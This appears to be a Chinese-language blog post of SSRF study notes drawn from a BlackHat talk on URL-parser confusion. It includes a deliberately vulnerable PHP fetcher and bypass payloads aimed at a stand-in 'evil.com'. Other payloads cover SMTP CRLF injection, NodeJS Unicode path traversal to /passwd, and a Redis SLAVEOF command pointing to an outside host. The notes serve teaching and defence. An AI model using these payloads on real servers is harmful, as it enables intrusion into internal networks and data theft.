SSRF

SSRF(Server Side Request Forgery),服务端请求伪造

基础

SSRF 是指攻击者构造一个恶意请求,导致服务器发起另一个恶意请求的漏洞。

一般 SSRF 攻击的是无法直接访问的内网系统。

通常出现在插入链接、图片等处。

1
2
3
4
5
6
7
8
9
10
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
$data =curl_exec($ch);
curl_close($ch);
echo $data;
?>

以上代码没有检查 curl 请求的 URL,可以请求内网中的内容。

利用 HTTP 协议

利用 HTTP 协议是最普通的情况,

可以对服务器内网 web 应用进行指纹识别,也可实现一些简单的攻击

利用 Gopher

博客中有另一篇文章

利用 LDAP

利用 DICT

Protocal Smuggling

翻译 BlackHat PPT的重要部分

翻了一半发现已经有翻译了。。安全客

合适的基于 HTTP 的协议

Elastic CouchDB Mongodb Docker

基于文本的协议

FTP SMTP Redis Memcached

小例子

python

1
http://1.1.1.1 &@2.2.2.2# 3.3.3.3

由python 不同的库会解析为不同的 IP 地址

1
2
3
1.1.1.1	# urllib2 httplib
2.2.2.2 # requests
3.3.3.3 #urllib

劫持 SMTP

1
https://127.0.0.1 %0D%0AHELO□orange.tw%0D%0AMAIL□FROM…:25/

重点:https,CRLF 注入

URL 解析问题

问题源于请求方和 URL 解析器的行为不同

URL 分五部分: scheme 协议、authority 认证、path 路径、query 请求、fragment 锚点?

RFC 3986

1
2
3
4
5
6
7
authority = [ userinfo "@" ] host [ ":" port ]
port = *DIGIT
host = IP-literal / IPv4address / reg-name
reg-name = *( unreserved / pct-encoded / sub-delims )
unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
sub-delims = "!" / "$" / "&" / "'" / "(" / ")" /
"*" / "+" / "," / ";" / "="

section 3.2

The authority component is preceded by a double slash(“//“) and is terminated by the next slash(“/“), question mark(“?”), or number sign(“#”) character, or by the end of the URI

PHP 的一个例子

1
2
3
4
5
6
7
$url = 'http://' . $_GET[url];
$parsed = parse_url($url);
if ( $parsed[port] == 80 && $parsed[host] == 'google.com') {
readfile($url);
} else {
die('You Shall Not Pass');
}

可用 payload

1
http://google.com#@evil.com

PHP parse_url 解析为 google.com,而 readfile 解析为 evil.com

一些语言和库存在的问题

image-20210414203432475

CURL

1
http://foo@evil.com:80 @google.com/

curl 和 libcurl 解析为 evil.com:80,而以下解析为 google.com:Node JS URL,Perl URI,Go net/url,PHP parse_url,Ruby addressable

NodeJS Unicode Failure

1
2
3
4
5
var base = "http://orange.tw/sandbox/";
var path = req.query.path;
if (path.indexOf("..") == -1) {
http.get(base + path, callback);
}

payload

1
http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd

(U+FF2E)(U+FF2E)/ 在 NodeJS HTTP 中是 ../

1
http://127.0.0.1:6379/\r\nSLAVEOF orange.tw 6379\r\n

在 NodeJS 中无法成功,可以将\r\n替换为 Unicode 字符(U+FF0D)(U+FF0A)绕过

Glibc NSS Features

resolv/ns_name.c#ns_name_pton()

作者

lll

发布于

2021-04-13

更新于

2022-09-19

许可协议